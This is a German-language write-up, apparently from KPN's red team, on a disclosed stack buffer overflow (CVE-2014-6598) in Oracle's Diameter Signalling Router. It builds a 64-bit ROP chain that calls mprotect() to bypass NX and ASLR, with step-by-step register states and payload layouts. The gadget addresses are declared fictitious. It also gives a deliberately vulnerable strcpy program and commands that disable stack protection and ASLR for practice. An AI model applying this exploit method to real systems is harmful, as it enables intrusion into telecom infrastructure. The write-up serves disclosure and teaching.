kpn-ciso/dra_writeupBericht über die Oracle DSR Stack-Pufferüberlauf-Sicherheitslücke (DRA) CVE-2014-6598
KPN ist ein Telekommunikationsbetreiber mit Sitz in den Niederlanden. Das CISO REDteam wurde 2013 eingeführt und ist das ethische Hacking-Team von KPN. Dieses Team führt Sicherheitstests von KPN-Anwendungen und -Diensten durch, um sicherzustellen, dass die Daten unserer Kunden vor unbefugtem Zugriff, Veränderung und Datenverlust geschützt sind.
KPN betreibt das größte Mobilfunknetz in den Niederlanden. Eine der Komponenten des 4G-Netzwerks, das KPN betreibt, ist die Diameter Routing Agent-Anwendung mit dem Namen Oracle Diameter Signalling Router (DSR). Der Diameter Routing Agent (DRA) ist ein funktionales Element in einem 3G- oder 4G-Netzwerk, das Echtzeit-Routing-Funktionen bereitstellt, um sicherzustellen, dass Nachrichten zwischen den richtigen Elementen in einem Netzwerk weitergeleitet werden. Die 3GPP hat den DRA eingeführt, um das gestiegene Volumen des Diameter-Signalisierungsverkehrs und die zunehmende Komplexität von 4G-LTE-Netzen zu bewältigen. Er kann entweder als Core-Router eingesetzt werden, der den Verkehr zwischen Diameter-Elementen im Heimatnetz weiterleitet, oder als Gateway-Router, der den Verkehr zwischen Diameter-Elementen im Heimat- und Roaming-Netz weiterleitet. Die 3GPP spezifiziert die Verwendung des Diameter-Protokolls für eine Reihe von Schnittstellen, darunter eine (S6a), die für die MME-HSS-Kommunikation sowie für Roaming verwendet wird.
Das folgende Bild zeigt eine typische DRA-Bereitstellung in einer LTE-Umgebung. Alle Schnittstellen zwischen den Elementen sind S6a-Schnittstellen.
Der Oracle DSR ist ein Cluster von Maschinen, die auf CentOS Linux laufen und die DRA-Funktion ausführen. Es ist normalerweise mit verschiedenen MMEs und einem HSS im heimischen LTE-Netz verbunden, könnte aber auch über das IPX-Netz mit Roaming-Partnern verbunden sein.
Durch den Einsatz der Codenomicon DEFENSICS-Plattform entdeckte das KPN REDteam zwei schwerwiegende Schwachstellen in der Oracle DSR-Anwendung Version 5.0:
Die erste Schwachstelle ermöglicht es einem nicht authentifizierten entfernten Angreifer, der mit dem IPX-Netz verbunden ist, das DRA und seine Komponenten vollständig zu kompromittieren. Wenn ein Angreifer die vollständige Kontrolle über das DRA-System erlangt, kann er den gesamten durch das DRA geleiteten Verkehr überwachen und möglicherweise weiter in das Kernnetz des Telekommunikationsbetreibers eindringen.
Oracle nahm die gemeldeten Schwachstellen ernst, und das KPN REDteam arbeitete eng mit Oracle zusammen, um diese Probleme zu lösen, was auch in ihrer Kundenmitteilung festgestellt wurde:
"Jüngste Sicherheitstests haben zwei Sicherheitslücken in Versionen des Oracle Diameter Signaling Router Produkts identifiziert. Um Ihr Netz vor potenziellen Ausnutzungen dieser Sicherheitslücken zu schützen, empfiehlt Oracle dringend, die hier beschriebenen Maßnahmen unverzüglich umzusetzen. Oracle dankt Frank Cozijnsen, Ethical Hacker, KPN CISO REDteam, für die Entdeckung der unten beschriebenen Diameter-Stack-Schwachstelle. Besonderer Dank gilt KPN für die Unterstützung während der Analysephase von Oracle. Hinweis: Diese Erkenntnisse werden mit dem nächsten geplanten CPU von Oracle am 20. Januar 2015 öffentlich bekannt gegeben."
Die gefundenen Probleme stellen eine ernsthafte Bedrohung für Telekommunikationsbetreiber dar, die Oracles DSR verwenden, und könnten von jedem Angreifer mit Zugang zu einer IPX-Verbindung ausgenutzt werden.
Das KPN REDteam testet Produkte und Dienstleistungen, bevor sie in Produktionsnetzen eingesetzt werden. Im Rahmen eines Upgrade-Projekts wurde der Oracle DSR Version 5.0 aus Sicherheitssicht vom KPN REDteam getestet. Der Sicherheitstest umfasste Fuzzing der Oracle DSR DIAMETER-Implementierung unter Verwendung der Codenomicon Diameter Server Test Suite. Die Capabilities Exchange Request (CER)-Nachricht, die zur Überprüfung der DIAMETER-Fähigkeiten des empfangenden Servers verwendet wird, wurde als erstes Fuzzing-Ziel ausgewählt. Diese Nachricht wurde gewählt, da sie nicht an andere Systeme wie den HSS weitergeleitet, sondern vom DSR selbst verarbeitet wird. Während des Fuzzings wurden mehrere Abstürze des „dsr“-Prozesses auf den Message Processor (MP)-Blades des DSR festgestellt.
Mithilfe von GDB mit dem PEDA-Plugin wurde der Absturz analysiert und schließlich ein Remote-Exploit geschrieben. Der Absturz wurde durch einen Schreibzugriff außerhalb der Grenzen des auf dem Stack befindlichen Puffers verursacht. Der Schreibzugriff überschrieb den Stack mit vom Benutzer kontrollierten Daten. Auch der gespeicherte Rückgabepointer, also die Adresse, an die das Programm nach der Rückkehr aus einer Funktion zurückkehrt, wurde überschrieben. Wenn dieser Rückgabepointer vom Angreifer kontrolliert werden kann, kann dies zur Ausführung beliebigen Codes führen.
Der Hauptgrund für das Schreiben dieses Blogs ist zu erklären, wie das KPN REDteam die vorhandenen ASLR- und NX-Schutzmaßnahmen umgehen und einen funktionierenden Remote-Codeausführungs-Exploit erstellen konnte. Normalerweise stellen ASLR- und NX-Schutzmechanismen für Angreifer kein großes Hindernis dar, aber der DSR läuft auf 64-Bit-CentOS. Es gibt nicht viele praktische Dokumentationen über Return Oriented Programming (ROP) auf 64-Bit-ASLR-geschützten Linux-Systemen.
Während des Debuggens wurde festgestellt, dass die libc-Bibliothek immer an dieselbe Adresse im dsr-Prozess abgebildet wurde und sich die Adresse nach einem Neustart nicht änderte. Andere Bibliotheken wurden an zufälligen Speicheradressen im dsr-Prozess abgebildet. Die Kenntnis der libc-Speicheradresse ermöglicht die Verwendung von libc als Quelle für die ROP-Gadgets. Eine weitere Option ist die Verwendung der dsr-Binärdatei selbst als Quelle für ROP-Gadgets, aber die Anzahl nützlicher Gadgets in dieser Datei ist begrenzt.
Um den NX-Schutz zu umgehen, könnte die mprotect()-Funktion verwendet werden, um den Stack ausführbar zu machen und unseren Shellcode ausführen zu können.
Die mprotect()-Funktion benötigt die folgenden Werte in den entsprechenden Registern:
Wenn alle diese Register gesetzt sind, kann mprotect() am Offset 0xe54b0 in der Zielversion der libc-Bibliothek aufgerufen werden.
Der folgende Teil des Dokuments setzt Kenntnisse über ROP und dessen Funktionsweise voraus. Es gibt ein gutes Beispiel für die Erstellung einer ROP-Kette auf einem 32-Bit-Linux-System unter shell-storm.org. Aufgrund der „partiellen“ ASLR war die Position des Stacks selbst nicht vorhersagbar. Es wurden ROP-Gadgets verwendet, um den Stack-Pointer (%RSP)-Wert im %RSI-Register zu speichern.
Register %RDI muss den Speicher-Offset des Speicherbereichs enthalten, der ausführbar gemacht werden muss.
Der Stack-Pointer kann verwendet werden, um diese Speicheradresse zu bestimmen, und sie muss auf eine Speicherseitengrenze gesetzt werden. Die XOR-Anweisung kann verwendet werden, um die letzten 4 Bytes dieser Adresse zu nullen, um eine Seitengrenze zu erreichen. Es gab nur ein Gadget, um dies für das %RAX-Register zu tun, daher besteht der erste Schritt darin, den Stack-Pointer-Wert in das %RAX-Register zu bekommen.
Das KPN REDteam möchte noch nicht zu viele Details über den tatsächlichen Exploit preisgeben, daher sind die unten verwendeten Adressen fiktiv. Sie geben jedoch eine Vorstellung davon, in welcher Reihenfolge die Anweisungen ausgeführt werden müssen.
First the stack pointer is stored in a register. The %RSI register is chosen because there are no gadgets available in the libc binary to store the value directly in the %RAX register.
The following ROP gadgets were used:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
Before the overflow the registers look like this:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
The first objective is to get the value in %RSP to %RSI.
This results in the following first section of the payload:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
Die erste ausgeführte Anweisung ist „pop rcx“, die 0x00000039c2222222 in das %RCX-Register lädt. Die Pop-Anweisung bewegt den Stack-Pointer auch an die Stelle, an der 0x00000039c3333333 gespeichert ist. Dies wird die Adresse des nächsten ROP-Gadgets sein: „push rsp ; and al, 8 ; call rcx“. Die Push-rsp-Anweisung schiebt den Stack-Pointer auf den Stack, und danach wird die Adresse aufgerufen, die zuvor im %RCX-Register gespeichert wurde. Dies lädt zwei Werte vom Stack nacheinander in die %RDX- und %RSI-Register und kehrt zur Adresse 0x00000039c4444444 zurück. Das %RSI-Register enthält nun den zuvor gespeicherten Stack-Pointer. Das ROP-Gadget an der Adresse 0x00000039c4444444 kopiert den in %RSI gespeicherten Wert nach %RAX.
Der Zeiger auf unseren Stack im %RAX-Register kann nun verwendet werden, um die Berechtigungen für die Speicherzuordnung auf dem Stack zu ändern. Zum Nullsetzen der letzten 4 Bytes verwenden wir eine XOR-Anweisung, die nur auf die letzten 4 Bytes des %RAX-Registers angewendet wird:
Current values of the registers:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
XOR the last 4 bytes of %RAX
0x00000039c6666666 : xor ax, ax ; ret
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
Der nächste Schritt ist, den Wert von %RAX in %RDI zu übertragen:
The following ROP gadgets are used:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
The way these instructions interact with each other is similar to the previously explained instructions.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
This results in the following register content:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
Das %RDI-Register enthält nun einen Speicher-Offset auf dem Stack, der auf eine Seitengrenze beschränkt ist.
Das %RSI-Register muss die Größe des zu ändernden Speicherbereichs enthalten.
Dies ist einfach: Fügen Sie einfach die Größe in %RSI ein.
Only one gadget is used, together with the size.
- 0x00000039c9999999 : pop rsi ; ret
The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
Das %RDX-Register muss das Berechtigungsbit enthalten, in unserem Fall 0x7 -> rwx-Berechtigungen.
Dieser Schritt ähnelt dem vorherigen. Der Wert wird vom Stack geholt:
Only one gadget is used, together with the permissions setting.
- 0x00000039caaaaaaa: pop rdx ; ret
The permissions value is 0x7 (read, write and execute permissions)
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
Alle Register haben jetzt den richtigen Wert, um diesen Teil des Stacks ausführbar zu machen.
Rufen Sie mprotect() auf
Die Adresse der mprotect()-Anweisung muss im Payload enthalten sein. Für dieses Beispiel ist libc an der Adresse 0x0000003888c00000 geladen, daher sieht der Payload, der den Stack ausführbar macht, wie folgt aus:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
Das ist alles. Um den Exploit abzuschließen, müssen Sie noch sicherstellen, dass Ihr Anweisungszeiger auf Ihren Shellcode zeigt, aber das ist nach der gegebenen Erklärung einfach.
Das Erstellen einer ROP-Kette und das Testen der Funktionsweise kann auf einer 64-Bit-Linux-Maschine einfach durchgeführt werden. Um es selbst auszuprobieren, könnten Sie ein angreifbares C-Programm schreiben:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
Kompilieren Sie dieses Programm ohne Stack Smashing Protection (SSP)
$ gcc -fno-stack-protector -o exploitme exploitme.c
Für Tests deaktivieren Sie vorübergehend ASLR:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Starten Sie nun GDB und legen Sie los..
Führen Sie diese Datei in GDB mit dem folgenden Argument aus:
run `perl -e'print "\x41" x500'`
Das PEDA-Plugin für GDB erleichtert die Arbeit erheblich und hilft Ihnen, Ihre ROP-Gadgets zu finden.